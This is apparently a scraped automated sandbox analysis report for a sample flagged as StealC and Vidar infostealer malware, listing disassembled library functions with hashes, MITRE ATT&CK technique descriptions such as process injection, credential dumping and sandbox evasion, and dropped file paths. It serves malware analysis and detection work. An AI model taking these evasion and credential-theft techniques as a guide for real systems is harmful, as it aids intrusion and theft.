Function 6CB84D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB84D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CB84DE6

Strings

%d.%d, xrefs: 6CB84DDE

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 8bac107713f45215be662b033bc47d99b312855e65ebc6b4efc7207e4e00de13
Instruction ID: d3d5b29510ae1985a5200c3f2f0af77c1eb6d04c2419ab5141757ed27af3c881
Opcode Fuzzy Hash: 8bac107713f45215be662b033bc47d99b312855e65ebc6b4efc7207e4e00de13
Instruction Fuzzy Hash: A531ECB2D052696BEB109BA19C51BFF777CEF41308F050429ED159BB41EB309D09CBA2

Function 6CA53CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA53D19
mozalloc_abort.MOZGLUE(?), ref: 6CA53D6C

Strings

d, xrefs: 6CA53D58

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 12ccae996baa457beffea9e1abb09318dd57e4642101c248cebde835c9e2b75f
Instruction ID: 498f0f5f56922577286fd5119ad317e0d9c6e9c33aced28ec7c01d55ce7e18f7
Opcode Fuzzy Hash: 12ccae996baa457beffea9e1abb09318dd57e4642101c248cebde835c9e2b75f
Instruction Fuzzy Hash: 5D113432E0478ADBDB048F69C8054EDB375EFC6218B88C719EC859B602FB30A5D9C350

Function 6CBCAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CBCAF78

Part of subcall function 6CB2ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB2ACE2
Part of subcall function 6CB2ACC0: malloc.MOZGLUE(00000001), ref: 6CB2ACEC
Part of subcall function 6CB2ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB2AD02
Part of subcall function 6CB2ACC0: TlsGetValue.KERNEL32 ref: 6CB2AD3C
Part of subcall function 6CB2ACC0: calloc.MOZGLUE(00000001,?), ref: 6CB2AD8C
Part of subcall function 6CB2ACC0: PR_Unlock.NSS3 ref: 6CB2ADC0
Part of subcall function 6CB2ACC0: PR_Unlock.NSS3 ref: 6CB2AE8C
Part of subcall function 6CB2ACC0: free.MOZGLUE(?), ref: 6CB2AEAB

memcpy.VCRUNTIME140(6CC93084,6CC902AC,00000090), ref: 6CBCAF94

Strings

SSL, xrefs: 6CBCAF73

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: bd34de2ff93b367a26e6b521b4c42edf9b889eeba9cb048f7fa79fb295ba0993
Instruction ID: d764e6ef276c7d4944382ee9f055d60dcd0422f3df52b1d6d82fc09ee47ac4db
Opcode Fuzzy Hash: bd34de2ff93b367a26e6b521b4c42edf9b889eeba9cb048f7fa79fb295ba0993
Instruction Fuzzy Hash: 78218BB6309A889ECF00DF51A90732B7A78B32234A718B109C51D4BB24D736441B9FD7

Function 6CA76DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CA76E22
__Init_thread_footer.LIBCMT ref: 6CA76E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CA76E1D

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 05bc1d6d18bfad08a13698426bdc569f67c13b943bb7d064a0a00ef2684a8f65
Instruction ID: 1ce699140c213b170f1f1c4c07de96a88d30d7ef40af1ebd654b5a57049b9bce
Opcode Fuzzy Hash: 05bc1d6d18bfad08a13698426bdc569f67c13b943bb7d064a0a00ef2684a8f65
Instruction Fuzzy Hash: 99F0243A6143C28FDE148F68CD52BD137B2B303218F284169EE0046B91DF60A987CAB3

Function 6CB20F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F1B

Part of subcall function 6CB21370: GetSystemInfo.KERNEL32(?,?,?,?,6CB20936,?,6CB20F20,6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000), ref: 6CB2138F

PR_NewLogModule.NSS3(clock,6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F25

Part of subcall function 6CB21110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CB20936,00000001,00000040), ref: 6CB21130
Part of subcall function 6CB21110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB20936,00000001,00000040), ref: 6CB21142
Part of subcall function 6CB21110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB20936,00000001), ref: 6CB21167

Strings

clock, xrefs: 6CB20F20

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 03270fd41a4a225af10ae0ef8feb279d0a5173a47d2b28e6c47829a804d3461f
Instruction ID: 051e113d9ddc98101ad24739ef8fb574349a734527ab8e3aac7540bdd4ec1bd1
Opcode Fuzzy Hash: 03270fd41a4a225af10ae0ef8feb279d0a5173a47d2b28e6c47829a804d3461f
Instruction Fuzzy Hash: 0DD0223120018421C7002A9B9C86BBBF2BCC7C32BAF041822E00C81D009A3E48DBC2B6

Function 6CA6B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B628

Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA690FF
Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA69108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CA6B2C9,?,?,?,6CA6B127,?,?,?,?,?,?,?,?,?,6CA6AE52), ref: 6CA6B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CA6B127,?,?,?,?,?,?,?,?), ref: 6CA6B74D

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: faceec45f670552b882e48cb05db145626688294b57c293e509b8983c82e0a93
Instruction ID: c67ca9c08ceb2411b912db7f1e5279fd1151161704711542ab063124614981f6
Opcode Fuzzy Hash: faceec45f670552b882e48cb05db145626688294b57c293e509b8983c82e0a93
Instruction Fuzzy Hash: 63511475A063168FDB14CF1AE98079EF7B5FF45304F05862DE856A7B50DB30A884CB91

Function 6CA7B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CA20A4D), ref: 6CA7B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CA20A4D), ref: 6CA7B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CA20A4D), ref: 6CA7B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CA20A4D), ref: 6CA7B67F

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d6cf1bd73635e30c3f5f4886168433cc6a435c2ce48cf49c9c2f3706d669715e
Instruction ID: 09061fa3a335145d14dc29d68f351d1baca3fd7350a985241c239bfe7e7046e5
Opcode Fuzzy Hash: d6cf1bd73635e30c3f5f4886168433cc6a435c2ce48cf49c9c2f3706d669715e
Instruction Fuzzy Hash: 103106B5A002168FDB20CF59D84469ABBF6FF80305F1A8629C9069B301EB31E955CBF0

Function 6CB90DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CB90DF5
TlsGetValue.KERNEL32 ref: 6CB90E2D
TlsGetValue.KERNEL32 ref: 6CB90E58
TlsGetValue.KERNEL32 ref: 6CB90E84

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 64016b270b63877fbb2de9468bfb3ac55f5687f595cadeadbdd8f305a60924a2
Instruction ID: a3cdf6ad0b449bad172dfd8c18ac3fc4a3b4e2a6a9d975e890c13eba8c99d93d
Opcode Fuzzy Hash: 64016b270b63877fbb2de9468bfb3ac55f5687f595cadeadbdd8f305a60924a2
Instruction Fuzzy Hash: ED316E71E45BC5CBDB106F38E5896697AB4FF0B348F118679D89887A21EB348485CB82

Function 6CA4F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA4F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CA4F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4F668

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2f9a7367420998a87ff4c3e81c23cc9b2421d47f01d597630581b52012480e1a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DA314F71A00214AFC714DF5DCDC0A9BB7B5FB84358B18C53DFA498BB04D631E9858B91

Function 6CB90F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CB32AF5,?,?,?,?,?,6CB30A1B,00000000), ref: 6CB90F1A
malloc.MOZGLUE(00000001), ref: 6CB90F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB90F42
TlsGetValue.KERNEL32 ref: 6CB90F5B

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 2d661d5d63b2a23e01de105dd6fa54208359acfe84180bbc8d3ce879843cc52f
Instruction ID: a226d7d0a95c1e17e97885d38c2f769823abd36bb13c3b1d26276eff97543514
Opcode Fuzzy Hash: 2d661d5d63b2a23e01de105dd6fa54208359acfe84180bbc8d3ce879843cc52f
Instruction Fuzzy Hash: 1401F071E012C05BEF102B3DAD456677A7CEF57299F014175DC1DC2A21E730C545C6D2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCFHDHI

C:\ProgramData\BAEBGHCFCAAFIECAFIII

C:\ProgramData\BAKJKFHCAEGDHIDGDHDA

C:\ProgramData\CBAFIDAECBGCBFHJEBGDHDBKFI

C:\ProgramData\FBGHIIJDGHCBFIECBKEGHDHDBA

C:\ProgramData\GDAECAEC

C:\ProgramData\HIIEBAFCBKFIDGCAKKKF

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
